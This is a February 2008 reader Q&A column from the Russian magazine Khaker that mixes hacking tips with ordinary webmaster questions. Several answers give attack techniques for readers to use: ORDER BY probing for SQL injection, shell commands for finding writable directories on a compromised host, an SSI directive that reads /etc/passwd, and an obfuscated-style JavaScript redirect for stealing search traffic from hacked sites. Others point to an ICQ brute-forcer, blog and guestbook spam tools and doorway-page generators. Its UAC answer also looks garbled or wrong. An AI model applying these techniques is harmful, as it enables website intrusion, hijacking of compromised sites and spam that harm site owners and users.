Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #110, ФЕВРАЛЬ 2008 г.

FAQ

Маг (http://m4g.ru)

Хакер, номер #110, стр. 110-138-1

Степан «Step» Ильин (faq@real.xakep.ru)

Q: Подскажи, как определить, есть ли траст у какого-либо домена для Гугла?

A: Способов определения трастовости домена (то есть доверия поисковика к домену) очень много. Можно вручную проверять наличие сайта в каталоге dmoz.com, смотреть, сколько проиндексировано страниц (site:http://site.com), и т.д. Но мы же с тобой хакеры, не так ли? :) А потому все будем делать с помощью специальной утилиты, расположенной по адресу www.ricozhot.com/domain.check/check.html. После ввода списка сайтов в эту тулзу сервис сразу же отобразит тебе всю нужную информацию: дату регистрации домена, alexa rank, число проиндексированных Гуглом страниц сайта, Google PR, количество бэклинков в Гугле, присутствие в каталоге dmoz и наличие тайтла сайта в top 20 тайтлов.

Q: Как проще всего обналить свои честно заработанные WebMoney?

A: Способов обналить твои кровные WMZ очень много: перевод в банк, вывод в обменных пунктах при личной встрече, различного рода обменники и т.д. Все это ты сможешь найти в своем кипере на вкладке «Мои WebMoney -> Вывести WM». Но долгое ожидание обнала денег нас, конечно же, не устраивает :). На сайте http://cards.webmoney.ru (для имеющих формальный и выше аттестат системы) существует возможность заказать специальную ATM-карту PowerCheque, c помощью которой можно моментально снимать деньги со своего кошелька в любом банкомате с логотипом Star/Plus. В моей случае с момента заказа карты до ее получения заказным письмом прошло чуть больше двух недель.

Q: Как быстро определить количество полей при SQL-инъекции?

A: Все очень просто. Для определения количества полей я обычно использую оператор ORDER BY. К примеру, ты нашел SQL-инъекцию на сайте http://site.com/index.php?p=', долго вставлял в параметр p по одной различные цифры: p=1,2,3,4/*, но так и не смог узнать, сколько же полей содержит злосчастная таблица :). Обойдем это недоразумение очень изящным путем, просто составив запрос следующим образом: http://site.com/index.php?p=1' order by 10/*. Если в таблице существует больше десяти полей, то скрипт выполнится без ошибки и тебе следует увеличивать это число до тех пор, пока запрос будет выполняться верно (если ошибка будет, то число необходимо уменьшать). Например, если при order by 5 ошибки нет, а при order by 6 уже есть, следовательно, в таблице пять полей и ты смело можешь составлять свой запрос следующим образом: http://site.com/index.php?p=1,2,3,4,5/*.

Q: Какие ты знаешь способы поиска директорий, доступных для записи, в свежеполученном веб-шелле?

A: 1. Если доступна утилита find (which find), то сразу же смотрим вывод команды id и проходимся по следующим запросам:

find ./directory -type d -user ЮЗЕР_ИЗ_ID -ls

find ./directory -type d -group ГРУППА_ИЗ_ID -ls

find ./directory -type d -perm 0777 -ls

2. Если find недоступна, можно воспользоваться всеми любимым ls с выводом в grep:

ls -la ./directory|grep drwxrwxrwx

Q: Многое слышал о программе Malefic Brute для брутфорса ICQ-уинов. Где ее взять?

A: До недавнего времени эта программа была платной и стоила 400 убитых енотов :). Из функций в первую очередь называлась возможность высокоскоростного брута номерков без использования прокси. Но недавно баг прикрыли (после 1000 попыток логина твой IP банится, так что прокси все равно придется использовать). После прикрытия бага программа стала доступна в паблике. Почитать про возможности Malefic Brute и скачать его ты сможешь на асечке: http://forum.asechka.ru/showthread.php?p=333870.

Q: Существует ли возможность спама в блоги с обходом капчи и регистрации юзеров?

A: Существует :). Специально для этого умные дяди встроили во все популярные движки блогов (например, WordPress) такие полезные вещи, как pingback и trackback. Не буду рассказывать технические подробности спама через пинг, лучше посоветую очень неплохую статью по теме: http://seorepa.com/show.php?id=991.

Q: На свежесломанном никсовом шелле не установлен unzip, каким образом там можно разархивировать zip-архив?

A: Когда мне довелось столкнуться с такой проблемой, я использовал для ее решения PHP, благо в Сети существует множество полнофункциональных и бесплатных PHP-файл-менеджеров и классов с возможностью архивации/разархивации zip-архивов, например: www.vladimirated.com/unzip.lib.zip - неплохой unzip PHP-класс, www.solitude.dk/filethingie - File Thingie, небольшой файл-менеджер с возможностью разархивирования архивов.

Q: Как зашифровать HTML-код с помощью JavaScript?

A: Используй неплохой онлайн-сервис http://pr-cy.ru/html_encrypter. Здесь все просто: в окошко вставляешь HTML-код, давишь на сабмит и получаешь зашифрованный JavaScript-код :).

Q: Подскажи, каким образом можно выполнять системные команды в веб-шелле на PHP, если включен safe-mode и нет возможности залить веб-шелл на Perl?

A: Почему-то все помнят про выполнение системных команд с помощью Perl и PHP, но напрочь забывают о такой вещи, как директивы SSI (Server Side Includes). Это директивы в файлах формата shtml, которые выполняются самим web-сервером без каких-либо сторонних интерпретаторов. С помощью SSI можно творить довольно-таки интересные вещи: начиная с инклудинга файлов и заканчивая выполнением системных команд. Итак, SSI прописывается прямо в теле web-страницы в виде:

<html>

<body>

<!--#exec cmd="ls -la /;cat /etc/passwd"-->

</body>

</html>

Естественно, при заходе на сайт ты увидишь результат выполнения заданных тобой директив «ls -la /» и «cat /etc/passwd» :).

Q: А где ты берешь свежие халявные прокси и соксы?

A: Есть замечательный портал www.freeproxy.ru, посвященный всему, что связано с проксями и соксами. Это, например:

  • ссылки на сайты с бесплатными прокси,
  • онлайн-прокси-чекеры,
  • проверка прокси на анонимность,
  • списки CGI-прокси (анонимайзеры),
  • списки бесплатных прокси.
  • всевозможные факи по проксям и многое другое.

Аналогичных ресурсов в Сети я пока не видел, разве что только платный, но очень качественный http://5socks.net/ru.

P.S. Еще очень неплохие прокси и соксы всегда лежат на веб-хаке по адресу www.web-hack.ru/proxy.

Q: Подскажи, как собрать базу гостевых книг для спама?

A: Вот неплохой онлайн-сервис для сбора спам-баз: http://yourguest.com.ru/test.php. Для поиска гостевух можно выбрать поисковик (Яху или Гугл), ключевые слова в URL, TITLE или теле документа.

Q: Хочу написать свой дорген, где бы почитать инфу по теме?

A: Соответствующая инфа встречается на многих форумах, посвященных SEO. Например, на www.klikforum.com/viewtopic.php?t=2562 лежит неплохая статья, описывающая алгоритм создания простейшего доргена на основе цепей Маркова со своими шаблонами.

Q: Как бы мне хитро перенаправить траф с поисковиков на взломанном сайте на мой сайт?

A: Для этого сеошники и прочие спамеры всего мира используют зашифрованный JavaScript-редирект, к примеру:

var ref,i,is_se=0;

var se = new Array('google','msn','yahoo','yandex','rambler','aport','mail','km.ru',

'meta','all.by', 'tut.by','online.ua','nigma');

if(document.referrer)ref=document.referrer;

else ref='";

for(i=0;i<13;i++)

{if(ref.indexOf(se[i])>=0){is_se=1;document.location='http://Куда редиректить челов с СЕ';}}

if(is_se==0){document.location='/Куда пойдет прочая нечисть'}

Этот скрипт перенаправит только тех юзеров, которые зашли на сайт с любого поисковика из массива se.

Остальные редиректы тут: http://hwor.info/useful/redirect.txt.

Q: Подскажи сервис генерации .htpasswd и .htaccess для аутентификации на сайте.

A: Если у тебя нет возможности пользоваться специализированными программами или тебе попросту лень, то тогда обрати внимание на сервис www.htaccesstools.com/htpasswd-generator. Тут все просто. Вбиваешь имя пользователя и пароль, давишь на сабмит, и сервис выдает тебе готовый htpasswd-файл, который можно использовать на своем сайте для аутентификации.

Q: Как послать файл с одного сервера на другой без участия пользователя и какого-либо промежуточного скачивания его себе на комп?

A: Конечно, для решения этой проблемы можно использовать FTP, но я все же предпочел бы написать на PHP два скрипта:

1) скрипт-сервер server.php, который посылает содержимое файла в следующем POST-запросе:

POST http://host.com/client.php HTTP/1.0

Host: host.com

Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A

Content-Length: количество_символов_в_файле (функция strlen())

--1BEF0A57BE110FD467A

Content-Disposition: form-data; name="file"; filename="НАЗВАНИЕ_ФАЙЛА.txt"

Content-Type: application/octet-stream

Content-Transfer-Encoding: binary

--1BEF0A57BE110FD467A--

Connection: Close

2) скрипт-клиент client.php, который ловит загруженный файл из $_FILES['file']['tmp_name'].

Q: Где бы мне купить красивый пиаристый домен?

A: Наверняка ты слышал об аукционах просроченных доменов, где продаются домены с PR и ТиЦ, вовремя не продленными своими хозяевами. Могу посоветовать некоторые из них:

  • http://auction.nic.ru - аукционы от РУ-центра, на которых можно купить как красивое доменное имя, так и доменное имя с PR и бэклинками (все это для зоны .ru);
  • www.odditysoftware.com/page-dailydomains.htm - список уже освободившихся доменов, многие с PR и бэклинками :);

Q: Хочу организовать свою социальную сеть. Но писать для такого проекта движок с нуля — настоящее безумие. Возможно, уже существуют готовые решения?

A: На Западе большое доверие заслужил движок Pligg (www.pligg.com). И хотя его можно заточить под использование в проекте социальной сети, это все-таки система для управления контентом. Если хочешь движок именно для создания социальной сети, рекомендую посмотреть вот эту публикацию — www.habrahabr.ru/blog/idiots_online/33716.html. Здесь наш соотечественник открывает исходники движка, на котором крутится его проект. Надо сказать, скриптовая система заслуживает всяческого почета и уважения, поскольку в ней реализован почти весь потенциал таких известных проектов, как www.habrahabr.ru или www.dirty.ru, не говоря уже о том, что разработчик разрешил развивать его начинание! Проект построен на базе PHP, MySQL, Smarty, JsHttpRequest и PHPMailer.

Q: Нужно распределить нагрузку на мои веб-серверы. Какое решение предпочли бы вы?

A: Есть достаточно много вариантов, вот лишь некоторые из них:

Идеального рецепта тут, как водится, нет, и все зависит от личных предпочтений. Мне больше всего импонируют Apache и Lighttpd. Первый — мощный, но громоздкий. Второй — легкий, удобный и вообще почти идеальный, но, увы, по непонятной причине иногда зависает на огромной загрузке. В случае с Apache речь идет, конечно же, о второй ветке этого замечательного демона.

Q: Система проактивной защиты в Windows Vista просто выводит. Как бы ее быстро отключить?

A: Отключить надоедающий UAC можно так: запускаем CMD, набираем msconfig, меню «Tools -> Disable UAC -> Launch». Проще способа не существует.

Q: Среди ваших публикаций несколько раз упоминается, что программа Skype, используя P2P-систему для обмена данными, существенно нагружает интернет-канал, даже в том случае, если сам пользователь звонки в текущий момент не осуществляет. Теперь понятно, куда исчезают денежки с моего счета: к сожалению, безлимитных тарифов в моем городе нет. Отсюда вопрос: а есть ли способ отключить эту технологию? Сделать так, чтобы зараза Skype больше не тратила напрасно трафик, но в тоже время исправно звонила?

A: Действительно, используемый в Skype механизм Supernode подчас очень серьезно использует доступный ему канал, превращая компьютер пользователя в своего рода ретранслятор или даже прокси-сервер для передачи данных и соединения с другими пользователями. К сожалению, такой режим используется по умолчанию и без некоторых ухищрений, просто в настройках программы его отключить нельзя. Однако начиная с версии 3.0 можно принудительно запретить программе выступать в качестве активного ретранслятора в P2P-системе с помощью реестра. Для этого создай файл NoSuperNode.reg со следующим содержанием:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Skype]

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Skype\Phone]

“DisableSupernode”=dword:00000001

После того как изменения в реестр будут внесены, можно перегрузить компьютер. Но хочу предупредить: прибегать к этому нужно только в том случае, если действительно есть проблемы с каналом. Ведь именно за счет технологии Supernode в сети могут работать пользователи, у которых маскарадный IP или миллион брандмауэров на пути. Само собой, компьютер, расположенный за NAT’ом, в качестве Supernode выступать не может. Поэтому работа через маршрутизатор — это еще один способ отключить активное использование интернет-канала.

Q: Что за новая технология NHibernate и почему ей предвещают успех?

A: Давай сначала разберемся с понятием ORM. Аббревиатура расшифровывается как Object-relational mapping, что переводится как «объектно-реляционная проекция». Если не вдаваться в подробности, это технология программирования, позволяющая связать базы данных с концепцией объектно-ориентированного программирования, создавая «виртуальную объектную базу данных». NHibernate — это как раз реализация принципа ORM для платформы .NET Framework. Последняя набирает такие обороты, что сомневаться в ее успешности не приходится. А с учетом серьезной популяризации ORM и работы именно с платформой .NET сомневаться не приходится и в успехе NHibernate. Штука действительно очень удобная: понятная, легко изучаемая. Достаточно посмотреть простенький пример (например, этот: www.hibernate.org/362.html), чтобы оценить, насколько проста она в использовании. С любой записью в БД можно работать как с обычным объектом.

User newUser = new User();

newUser.Id = "xakep_Id";

newUser.UserName = "Stepan Ilyin";

newUser.Password = "my_super_pass";

newUser.EmailAddress = "step@gameland.ru";

newUser.LastLogon = DateTime.Now;

session.Save(newUser);

transaction.Commit();

session.Close();

Наш объект – это запись в настоящей БД. Вот такая замечательная штука.

Содержание